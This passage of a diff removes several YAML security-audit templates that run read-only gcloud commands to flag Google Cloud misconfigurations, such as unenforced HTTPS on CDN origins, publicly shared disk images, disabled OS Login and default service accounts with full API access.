for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
for(let urlMap of iterate(template.urlMaps)){
set("urlMapName", urlMap)
code(3)
for(let backendBucket of iterate(template.backendBuckets)){
set("backendBucketName", backendBucket)
code(4)
}
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud compute url-maps list --project $projectId --format="json(name,defaultService)"
extractors:
- type: json
name: urlMaps
internal: true
json:
- '.[].name'
- engine:
- sh
- bash
source: |
gcloud compute backend-buckets describe $backendBucket --project $projectId --format="json(bucketName)"
extractors:
- type: json
name: backendBuckets
internal: true
json:
- '.bucketName'
- engine:
- sh
- bash
source: |
gcloud storage buckets describe gs://$backendBucket --project $projectId
matchers:
- type: word
words:
- "404"
extractors:
- type: dsl
dsl:
- '"Missing Storage Bucket for Backend Bucket: " + backendBucketName + " in URL Map: " + urlMapName + " of Project: " + projectId'
# digest: 490a0046304402200355352b429e76a66451d939e03a1c0176ce597104577c63526d81f01df76f9d022020fdd9dd953445d97ee9c8bd8261109a157494c1e29cce407fb36af3d30856da:922c64590222798bb761d5b6d8e72950
@@ -1,54 +0,0 @@
id: gcloud-cdn-backend-bucket
info:
name: Check Cloud CDN Backend Bucket Configuration
author: princechaddha
severity: medium
description: |
Ensure that the Cloud CDN origin associated with your Google Cloud load balancer points to a backend bucket instead of a backend service in order to provide enhanced performance, cost savings, simplified management, and the ability to customize caching rules.
impact: |
Using a backend service as the Cloud CDN origin instead of a backend bucket may lead to increased costs, complex management, and suboptimal caching configurations, impacting performance and operational efficiency.
remediation: |
Reconfigure the Cloud CDN origin to point to a backend bucket instead of a backend service by modifying the associated Google Cloud load balancer's URL map.
reference:
- https://cloud.google.com/cdn/docs/using-cdn
tags: cloud,devops,gcp,gcloud,cloud-cdn,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud compute url-maps list --project $projectId --format="json(name,defaultService)"
matchers:
- type: word
words:
- 'backendServices'
extractors:
- type: dsl
dsl:
- '"Load Balancers in Project: " + projectId + " uses a backend service as CDN origin instead of a backend bucket."'
# digest: 4a0a0047304502200197e46380e5047ec5f6ff8714252ccd6a158436a5e0d048b2fd5f1c6a3b7caf022100a6a99e00284a5397987cc1ecc6ddc2f3837637e6ab68123452638e924e14eeb3:922c64590222798bb761d5b6d8e72950
@@ -1,72 +0,0 @@
id: gcloud-cdn-origin-auth-unconfigured
info:
name: Unconfigured Cloud CDN Origin Authentication
author: princechaddha
severity: medium
description: |
Ensure that Cloud CDN origins are configured to authenticate access to the content available at backend (backend buckets or backend services) using signed cookies and signed URLs. Signed cookies and URLs are designed to prevent unauthorized users from bypassing the authentication process and accessing sensitive information.
impact: |
If Cloud CDN origins are not properly configured with signed cookies and signed URLs, it could lead to unauthorized access and potential exposure of sensitive information. This configuration is essential for maintaining the security and integrity of content delivery.
remediation: |
Configure your Cloud CDN origins to use signed cookies and URLs by adding signed request keys to your backend services. This will enforce authentication on CDN-cached content, preventing unauthorized access.
reference:
- https://cloud.google.com/cdn/docs/using-signed-urls
tags: cloud,devops,gcp,gcloud,cloud-cdn,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
for(let backendService of iterate(template.backendServices)){
set("backendServiceName", backendService)
code(3)
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud compute backend-services list --global --project $projectId --format="json(name,enableCDN)"
extractors:
- type: json
name: backendServices
internal: true
json:
- '.[].name'
- engine:
- sh
- bash
source: |
gcloud compute backend-services describe $backendServiceName --global --format="json(cdnPolicy.signedUrlKeyNames)"
matchers:
- type: word
words:
- 'null'
extractors:
- type: dsl
dsl:
- '"Unconfigured Cloud CDN Origin Authentication: " + backendServiceName + " in Project: " + projectId'
# digest: 4a0a00473045022019bda07807eb922316b8d39af34b048276477aa10516e5f33bdd63513d0283ab022100add40bcc817cd9335b7b92320421beb717427a50977069b0b7411e8ae3afdd8b:922c64590222798bb761d5b6d8e72950
@@ -1,90 +0,0 @@
id: gcloud-cdn-ssl-enforcement
info:
name: Cloud CDN SSL/TLS Not Enforced
author: princechaddha
severity: medium
description: |
Ensure that Google Cloud CDN backend bucket origins enforce HTTPS using SSL/TLS certificates in order to handle encrypted traffic. This helps to protect the integrity and confidentiality of the transmitted information.
impact: |
Not enforcing HTTPS can expose data to interception or alteration during transmission, compromising data confidentiality and integrity.
remediation: |
Configure SSL/TLS certificates for Cloud CDN backend bucket origins and ensure all traffic is served over HTTPS by adjusting the forwarding rules and url-maps.
reference:
- https://cloud.google.com/cdn/docs/using-https
tags: cloud,devops,gcp,gcloud,cloud-cdn,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
for(let urlMap of iterate(template.urlMaps)){
set("urlMapName", urlMap.name)
set("defaultService", urlMap.defaultService)
code(3)
for(let forwardingRule of iterate(template.forwardingRules)){
set("forwardingRuleName", forwardingRule)
code(4)
}
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud compute url-maps list --project $projectId --format="json(name,defaultService)"
extractors:
- type: json
name: urlMaps
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
gcloud compute forwarding-rules list --project $projectId --format="json(name)"
extractors:
- type: json
name: forwardingRules
internal: true
json:
- '.[].name'
- engine:
- sh
- bash
source: |
gcloud compute forwarding-rules describe $forwardingRuleName --project $projectId --global --format="value(portRange)"
matchers:
- type: word
words:
- '80-80'
extractors:
- type: dsl
dsl:
- '"SSL/TLS not enforced on Cloud CDN backend bucket origin: " + defaultService + " via URL map: " + urlMapName + " in Project: " + projectId'
# digest: 4a0a0047304502200ba02ce144420070756cbf207f65eed69dce4d8fa833b734d7062c42174dca2f022100faca1ece34716d82c0c693eb741dc4c9589c8d88697c9ac5ca29b8f08c0d090a:922c64590222798bb761d5b6d8e72950
@@ -1,86 +0,0 @@
id: gcloud-cdn-tls-unenforced
info:
name: Unenforced SSL/TLS on Cloud CDN Backend Service Origins
author: princechaddha
severity: medium
description: |
Ensure that Google Cloud CDN backend service origins are using SSL/TLS certificates to enforce HTTPS in order to manage encrypted traffic. This helps to protect the integrity and confidentiality of the transmitted information.
impact: |
If SSL/TLS certificates are not enforced, the integrity and confidentiality of the transmitted information through Cloud CDN can be compromised, leading to potential data leaks and security breaches.
remediation: |
Configure SSL/TLS certificates for your Cloud CDN backend service origins to enforce HTTPS and ensure that all communications are securely encrypted.
reference:
- https://cloud.google.com/cdn/docs/using-https
tags: cloud,devops,gcp,gcloud,cloud-cdn,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
for(let service of iterate(template.services)){
set("serviceName", service)
code(3)
code(4)
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud compute url-maps list --project $projectId --format="json(name,defaultService)"
extractors:
- type: json
name: services
internal: true
json:
- '.[].name'
- engine:
- sh
- bash
source: |
gcloud compute forwarding-rules list --project $projectId
extractors:
- type: json
name: forwardingRules
internal: true
json:
- '.[].name'
- engine:
- sh
- bash
source: |
gcloud compute forwarding-rules describe $forwardingRules --global --format="value(portRange)"
matchers:
- type: word
words:
- '80-80'
extractors:
- type: dsl
dsl:
- '"HTTP traffic allowed without SSL/TLS on service: " + serviceName + " in Project: " + projectId'
# digest: 490a0046304402201816c5925b439d4d82d194b0fb552913beb2e0db771ff47d6958979005d5ba7d022062305cca30ff33b8ea930373bac7689f188531b66aa798ad08af6e62eb6b6f11:922c64590222798bb761d5b6d8e72950
@@ -1,72 +0,0 @@
id: gcloud-certificate-validity-exceeded
info:
name: Exceeded SSL Certificate Validity Period
author: princechaddha
severity: medium
description: |
Ensure that SSL certificates managed with Google Cloud Certificate Manager don't have a validity period greater than 398 days (13 months). This is to enhance security by reducing the risk of certificate compromise and misuse, while aligning with industry standards and support from modern web browsers.
impact: |
An SSL certificate with a validity period exceeding 398 days poses a higher risk of compromise and misuse. It also fails to comply with industry standards, potentially leading to incompatibilities or security warnings in web browsers.
remediation: |
Review and adjust the renewal configurations for SSL certificates to ensure their validity periods do not exceed 398 days.
reference:
- https://cloud.google.com/certificate-manager/docs
tags: cloud,devops,gcp,gcloud,certificate-manager,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
for(let certificate of iterate(template.certificates)){
set("certificateName", certificate)
code(3)
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud certificate-manager certificates list --project $projectId --format="json(name)"
extractors:
- type: json
name: certificates
internal: true
json:
- '.[].name'
- engine:
- sh
- bash
source: |
gcloud certificate-manager certificates describe $certificateName --project $projectId --format="json(createTime,expireTime)" | jq '[(.expireTime | fromdateiso8601) - (.createTime | fromdateiso8601) < 34444800] | any'
matchers:
- type: word
words:
- 'false'
extractors:
- type: dsl
dsl:
- '"Non-compliant SSL Certificate: " + certificateName + " in Project: " + projectId + " with Expiry beyond 398 days"'
# digest: 490a004630440220249ea895515d2fc98d8c0890a791e1ab9758411dd16248ba4da5dc9379dba072022034c8195a381830f12737dbc03be0daf4756d73906fb9e9a50a117c8349cee3bf:922c64590222798bb761d5b6d8e72950
@@ -1,74 +0,0 @@
id: gcloud-disk-image-public-access
info:
name: Disk Images Publicly Shared
author: princechaddha
severity: medium
description: |
Ensure that your virtual machine disk images are not publicly shared with all other Google Cloud Platform (GCP) accounts in order to avoid exposing sensitive or confidential data. If required, you can share your disk images with specific GCP accounts only, without making them public.
impact: |
Publicly shared disk images can expose sensitive application data and configurations to anyone with a Google Cloud account, potentially leading to security breaches.
remediation: |
Remove the "allAuthenticatedUsers" member from the IAM policy of affected disk images using the 'gcloud compute images remove-iam-policy-binding' command or through the Google Cloud Console.
reference:
- https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/ComputeEngine/publicly-shared-disk-images.html
- https://cloud.google.com/compute/docs/images/managing-access-custom-images
tags: cloud,devops,gcp,gcloud,compute,security,storage,disk-images,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
for(let image of iterate(template.images)){
image = JSON.parse(image)
set("imageName", image.name)
code(3)
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud compute images list --project $projectId --no-standard-images --format="json(name)"
extractors:
- type: json
name: images
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
gcloud compute images get-iam-policy $imageName --project $projectId --format="json(bindings[].members[])"
matchers:
- type: word
words:
- '"allAuthenticatedUsers"'
extractors:
- type: dsl
dsl:
- '"Disk image " + imageName + " in project " + projectId + " is publicly shared with all Google Cloud users"'
# digest: 4a0a0047304502204f5fe6175038d8ae8f9ca04d4526a5b544ff323d1f60083d6a23c8369645a21502210097538dc98d9dc851d60cbc0f2f4c5987dcbb2d045ee56f3af740f364acc6ccc7:922c64590222798bb761d5b6d8e72950
@@ -1,75 +0,0 @@
id: gcloud-instance-group-autohealing-disabled
info:
name: Instance Group Autohealing Not Enabled
author: princechaddha
severity: high
description: |
Ensure that your Google Cloud Managed Instance Groups (MIGs) are configured with Autohealing feature. Autohealing allows re-creating virtual machine instances when they become unresponsive. Application-based autohealing improves application availability by relying on a health checking signal that detects application-specific issues such as freezing, crashing, or overloading.
impact: |
Without autohealing enabled, your application's availability may be compromised as unhealthy instances will not be automatically detected and replaced, potentially leading to service disruptions.
remediation: |
Enable autohealing for your Managed Instance Groups by configuring a health check that monitors instance health. Configure appropriate check intervals, timeouts, and healthy/unhealthy thresholds based on your application requirements.
reference:
- https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/ComputeEngine/enable-instance-group-autohealing.html
- https://cloud.google.com/compute/docs/instance-groups/autohealing-instances
tags: cloud,devops,gcp,gcloud,compute,reliability,instance-groups,autohealing,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
for(let instanceGroup of iterate(template.instanceGroups)){
instanceGroup = JSON.parse(instanceGroup)
set("instanceGroupName", instanceGroup.name)
set("zone", instanceGroup.location)
code(3)
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud compute instance-groups managed list --project $projectId --format="json(name,location)"
extractors:
- type: json
name: instanceGroups
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
gcloud compute instance-groups managed describe $instanceGroupName --zone $zone --format="json(autoHealingPolicies[].healthCheck)" | jq '. // "null"'
matchers:
- type: word
words:
- "null"
extractors:
- type: dsl
dsl:
- '"Managed Instance Group " + instanceGroupName + " in zone " + zone + " of project " + projectId + " does not have autohealing enabled"'
# digest: 4a0a00473045022100f1f5d48a167241054f5967257fafb86b459228cfd238090926b91f415c431fd90220336f1b02c96c823be76fbec9e845159f634cbb6b9468c5e71319a5f9834b4aa5:922c64590222798bb761d5b6d8e72950
@@ -1,74 +0,0 @@
id: gcloud-mig-no-load-balancer
info:
name: Managed Instance Group Not Using Load Balancer
author: princechaddha
severity: low
description: |
Ensure that each Managed Instance Group is using a load balancer to act as an instance group frontend. Google Cloud Managed Instance Groups (MIGs) are groups of virtual machine (VM) instances that you control as a single entity. MIGs support rich features such as autoscaling and autohealing, load balancing, multiple zone coverage, and stateful workloads.
impact: |
Without a load balancer, traffic is not evenly distributed among instances, potentially leading to poor performance, reduced availability, and inefficient resource utilization.
remediation: |
Configure a load balancer for your Managed Instance Group by creating a backend service and associating it with your MIG. This ensures even traffic distribution and improved availability.
reference:
- https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/ComputeEngine/mig-load-balancer-check.html
- https://cloud.google.com/compute/docs/instance-groups/adding-an-instance-group-to-a-load-balancer
tags: cloud,devops,gcp,gcloud,compute,reliability,mig,load-balancer,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
for(let instanceGroup of iterate(template.instanceGroups)){
set("instanceGroupName", instanceGroup.name)
code(3)
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud compute instance-groups list --project $projectId --only-managed --format="json(name)"
extractors:
- type: json
name: instanceGroups
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
gcloud compute backend-services list --project $projectId --format="json(backends[].group)" | grep $instanceGroupName
matchers:
- type: word
words:
- "name"
negative: true
extractors:
- type: dsl
dsl:
- '"Managed Instance Group " + instanceGroupName + " in project " + projectId + " is not associated with any load balancer backend service"'
# digest: 4b0a00483046022100fd07fe7b5044882943a82b02e5f3f8ef7e7d3637ae16e1fac9da1348c033104d022100fc93be04033ba0417bace21359c56a7b8eeb498cf7486a6b8c9b7b60cce1d4e7:922c64590222798bb761d5b6d8e72950
@@ -1,73 +0,0 @@
id: gcloud-mig-single-zone
info:
name: Managed Instance Group Not Configured for Multiple Zones
author: princechaddha
severity: low
description: |
Ensure that Managed Instance Groups (MIGs) are spread across multiple zones within a Google Cloud region for high availability and fault tolerance. Spreading application load across multiple Google Cloud zones with MIGs is crucial for enhancing the availability, resilience, and performance of your application. When you allocate your MIG instances across multiple zones, you can guarantee the continuous availability and functionality of your application even during failures or outages.
impact: |
Single-zone MIGs are vulnerable to zone-level failures, which could cause complete application downtime. This reduces availability and resilience of your applications.
remediation: |
Re-create your Managed Instance Groups with multiple zones configuration. Select "Multiple zones" for location, choose a region and desired zones, and set "Target distribution shape" to "Even" for balanced instance distribution.
reference:
- https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/ComputeEngine/mig-multiple-zones.html
- https://cloud.google.com/compute/docs/instance-groups/distributing-instances-with-regional-instance-groups
tags: cloud,devops,gcp,gcloud,compute,reliability,mig,zones,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
for(let instanceGroup of iterate(template.instanceGroups)){
set("instanceGroupName", instanceGroup.name)
code(3)
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud compute instance-groups list --project $projectId --only-managed --format="json(name)"
extractors:
- type: json
name: instanceGroups
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
gcloud compute instance-groups managed describe $instanceGroupName --format="json(distributionPolicy.zones)"
matchers:
- type: word
words:
- "null"
extractors:
- type: dsl
dsl:
- '"Managed Instance Group " + instanceGroupName + " in project " + projectId + " is not configured to run instances across multiple zones"'
# digest: 4b0a00483046022100f6f5fbd63b6c07b669913549144ae2eb2e9b0680673ccd2da7daf953ddde4fc2022100af56920ce185b9ae06857c9fef77d37a9278cb0b67518f7eb2633b13f0bc80e5:922c64590222798bb761d5b6d8e72950
@@ -1,96 +0,0 @@
id: gcloud-oslogin-disabled
info:
name: OS Login Not Enabled for GCP Projects
author: princechaddha
severity: low
description: |
Ensure that the OS Login feature is enabled at the Google Cloud Platform (GCP) project level in order to provide you with centralized and automated SSH key pair management. OS Login ensures that SSH keys are mapped with Google Cloud IAM users, facilitating centralized management of SSH access.
impact: |
Without OS Login enabled, managing SSH access becomes decentralized and complex, making it difficult to handle compromised SSH keys or revoke access for specific users across multiple instances.
remediation: |
Enable OS Login at the project level by setting the "enable-oslogin" metadata key to "TRUE". Note that enabling OS Login disables metadata-based SSH key configurations on all instances within the project.
reference:
- https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/ComputeEngine/enable-os-login.html
- https://cloud.google.com/compute/docs/oslogin
tags: cloud,devops,gcp,gcloud,compute,security,ssh,oslogin,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
code(3)
for(let instance of iterate(template.instances)){
instance = JSON.parse(instance)
set("instanceName", instance.name)
set("zone", instance.zone)
code(4)
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud compute project-info describe --project $projectId --format="json(commonInstanceMetadata.items)" | jq '.commonInstanceMetadata.items[]? | select(.key=="enable-oslogin") | .value // "null"'
matchers:
- type: word
words:
- "FALSE"
- "null"
condition: or
extractors:
- type: dsl
dsl:
- '"OS Login is not enabled at project level for project " + projectId'
- engine:
- sh
- bash
source: |
gcloud compute instances list --project $projectId --format="json(name,zone.basename())"
extractors:
- type: json
name: instances
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
gcloud compute instances describe $instanceName --zone $zone --project $projectId --format="json(metadata.items)" | jq '.items[]? | select(.key=="enable-oslogin") | .value // "null"'
matchers:
- type: word
words:
- "FALSE"
- "null"
condition: or
extractors:
- type: dsl
dsl:
- '"OS Login is not enabled for instance " + instanceName + " in zone " + zone + " of project " + projectId'
# digest: 490a0046304402200645c5e3bb349efa34c33b0df0f765c08f3e6606070dd534685b4387d178b2aa0220495288319a1fed9eb52bab11b609582575ba770d0676ad330a4f5d32cc081fb5:922c64590222798bb761d5b6d8e72950
@@ -1,93 +0,0 @@
id: gcloud-persistent-disks-suspended-vms
info:
name: Persistent Disks Attached to Suspended Virtual Machines
author: princechaddha
severity: high
description: |
Ensure that persistent disks are not attached to suspended virtual machine (VM) instances in your Google Cloud environment. Persistent disks attached to suspended VMs continue to incur charges even when the VM is not running, leading to unnecessary costs.
impact: |
Keeping persistent disks attached to suspended VMs results in ongoing storage charges without active utilization, increasing cloud infrastructure costs unnecessarily.
remediation: |
Identify and detach persistent disks from suspended VMs, or delete the disks if they are no longer needed to optimize cloud resource costs.
reference:
- https://cloud.google.com/compute/docs/disks
tags: cloud,devops,gcp,gcloud,compute,storage,cost-optimization,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
for(let disk of iterate(template.disks)){
disk = JSON.parse(disk)
set("diskName", disk.name)
set("zone", disk.zone)
code(3)
for(let instanceUrl of iterate(template.instanceUrls)){
set("instanceUrl", instanceUrl)
code(4)
}
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud compute disks list --project $projectId --format="json(name,zone.basename())"
extractors:
- type: json
name: disks
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
gcloud compute disks describe $diskName --zone $zone --project $projectId --format="json(users[])" | jq -r '.[] // "null"'
extractors:
- type: json
name: instanceUrls
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
gcloud compute instances describe $instanceUrl --zone $zone --project $projectId --format="json(status)"
matchers:
- type: word
words:
- "SUSPENDED"
- "SUSPENDING"
condition: or
extractors:
- type: dsl
dsl:
- '"Persistent disk " + diskName + " is attached to suspended VM instance in zone " + zone + " of project " + projectId'
# digest: 4a0a004730450221008bfa43d9704681d117af15a9074e4b129945d39e9bc4097d5b36aff8c306391a022002bf2c21d7a6539cb2fc5ee06736e2254f5f773d2888a6780a08e05925edd06a:922c64590222798bb761d5b6d8e72950
@@ -1,75 +0,0 @@
id: gcloud-vm-automatic-restart-disabled
info:
name: VM Instance Automatic Restart Not Enabled
author: princechaddha
severity: medium
description: |
Ensure that Google Cloud Compute Engine service restarts automatically your virtual machine instances when they are terminated due to non-user initiated reasons such as maintenance events, hardware, and software failures. The Automatic Restart feature configures the virtual machine restart behavior when an instance crashes or it is terminated by the system.
impact: |
Without automatic restart enabled, VM instances that crash or are terminated due to system events will not automatically recover, potentially leading to extended service disruptions.
remediation: |
Enable automatic restart for your VM instances. Note that this behavior does not affect any terminations initiated by the user, such as when the instance is taken offline through a user action like calling sudo shutdown.
reference:
- https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/ComputeEngine/enable-automatic-restart.html
- https://cloud.google.com/compute/docs/instances/setting-instance-scheduling-options
tags: cloud,devops,gcp,gcloud,compute,reliability,automatic-restart,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
for(let instance of iterate(template.instances)){
instance = JSON.parse(instance)
set("instanceName", instance.name)
set("zone", instance.zone)
code(3)
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud compute instances list --project $projectId --format="json(name,zone.basename())"
extractors:
- type: json
name: instances
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
gcloud compute instances describe $instanceName --zone $zone --project $projectId --format="json(scheduling.automaticRestart)" | jq '. // "false"'
matchers:
- type: word
words:
- "false"
extractors:
- type: dsl
dsl:
- '"VM instance " + instanceName + " in zone " + zone + " of project " + projectId + " does not have automatic restart enabled"'
# digest: 4b0a00483046022100b4895a6742c95935939c8a32186a178c403d0ce8b848f679bbfb0f90214693d4022100f1c8aa148c2979fe8e8d37c8f0f493b9b56d27b484cdf78a0bd50b8a4350971e:922c64590222798bb761d5b6d8e72950
@@ -1,75 +0,0 @@
id: gcloud-vm-confidential-computing-disabled
info:
name: VM Instance Confidential Computing Not Enabled
author: princechaddha
severity: medium
description: |
Ensure that the Confidential Computing security feature is enabled for your Google Cloud virtual machine (VM) instances in order to add protection to your sensitive data in use by keeping it encrypted in memory and using encryption keys that Google doesn't have access to. Confidential Computing is a breakthrough technology which encrypts data while it is being processed. This technology keeps data encrypted in memory, outside the CPU.
impact: |
Without Confidential Computing enabled, sensitive data in memory is not encrypted during processing, potentially exposing it to unauthorized access from the infrastructure provider or malicious insiders.
remediation: |
Re-create your VM instances with Confidential Computing enabled. Note that enabling this feature requires compatible machine types (N2D series) and may change certain instance parameters if they were set to incompatible values.
reference:
- https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/ComputeEngine/confidential-computing.html
- https://cloud.google.com/compute/confidential-vm/docs/about-cvm
tags: cloud,devops,gcp,gcloud,compute,security,confidential-computing,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
for(let instance of iterate(template.instances)){
instance = JSON.parse(instance)
set("instanceName", instance.name)
set("zone", instance.zone)
code(3)
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud compute instances list --project $projectId --format="json(name,zone.basename())"
extractors:
- type: json
name: instances
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
gcloud compute instances describe $instanceName --zone $zone --project $projectId --format="json(confidentialInstanceConfig.enableConfidentialCompute)" | jq '. // "false"'
matchers:
- type: word
words:
- "false"
extractors:
- type: dsl
dsl:
- '"VM instance " + instanceName + " in zone " + zone + " of project " + projectId + " does not have Confidential Computing enabled"'
# digest: 490a0046304402204277652a6316b7c1ba855a955b9e21fe2c3dd502964cd78c573b9e99ceba64a802201bc5a857f61491a06437bab550c1b12f9b85c24b714d6f7207652a6c1fce3154:922c64590222798bb761d5b6d8e72950
@@ -1,77 +0,0 @@
id: gcloud-vm-default-service-account-full-access
info:
name: VM Instance Using Default Service Account with Full API Access
author: princechaddha
severity: medium
description: |
Ensure that your Google Compute Engine instances are not configured to use the default service account with the Cloud API access scope set to "Allow full access to all Cloud APIs". The principle of least privilege (POLP), also known as the principle of least authority, is the security concept of giving the user/system/service the minimal set of permissions required to successfully perform its tasks.
impact: |
Using default service accounts with full API access violates the principle of least privilege and could allow compromised instances to make unauthorized API calls to any GCP service.
remediation: |
Either replace the default service account with a custom one having minimal permissions, or change the access scope to "Allow default access" or "Set access for each API" with only required permissions.
reference:
- https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/ComputeEngine/default-service-accounts-with-full-access-in-use.html
- https://cloud.google.com/compute/docs/access/service-accounts
tags: cloud,devops,gcp,gcloud,compute,security,iam,service-account,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
for(let instance of iterate(template.instances)){
instance = JSON.parse(instance)
set("instanceName", instance.name)
set("zone", instance.zone)
code(3)
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud compute instances list --project $projectId --format="json(name,zone.basename())"
extractors:
- type: json
name: instances
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
gcloud compute instances describe $instanceName --zone $zone --project $projectId --format="json(serviceAccounts[].email,serviceAccounts[].scopes[])"
matchers:
- type: word
words:
- "[email protected]"
- "https://www.googleapis.com/auth/cloud-platform"
condition: and
extractors:
- type: dsl
dsl:
- '"VM instance " + instanceName + " in zone " + zone + " of project " + projectId + " is using the default Compute Engine service account with full API access"'
# digest: 4a0a0047304502200d7ad4091f6a0ff34060826a1f14902901761a78be4de2737113f701a7e8e639022100e209dcd0cb14413813d204950308de2f7a6e1b116ddb2a54bd332d8ddbfa0c7e:922c64590222798bb761d5b6d8e72950
@@ -1,75 +0,0 @@
id: gcloud-vm-default-service-account
info:
name: VM Instance Using Default Service Account
author: princechaddha
severity: medium
description: |
Ensure that your Google Compute Engine instances are not configured to use the default Google Cloud service account in order to implement the principle of least privilege (POLP) and secure the access to your cloud resources. The default Compute Engine service account, named <project-number>[email protected], is associated with the Editor role at the project level, which allows read and write access to most Google Cloud Platform (GCP) services.
impact: |
Using default service accounts with Editor role permissions violates the principle of least privilege and could allow compromised instances to access most GCP services in the project.
remediation: |
Create a new service account with minimal required permissions and update VM instances to use it instead of the default Compute Engine service account. Note that this requires stopping and restarting the instances.
reference:
- https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/ComputeEngine/default-service-accounts-in-use.html
- https://cloud.google.com/compute/docs/access/service-accounts
tags: cloud,devops,gcp,gcloud,compute,security,iam,service-account,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
for(let instance of iterate(template.instances)){
instance = JSON.parse(instance)
set("instanceName", instance.name)
set("zone", instance.zone)
code(3)
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud compute instances list --project $projectId --format="json(name,zone.basename())"
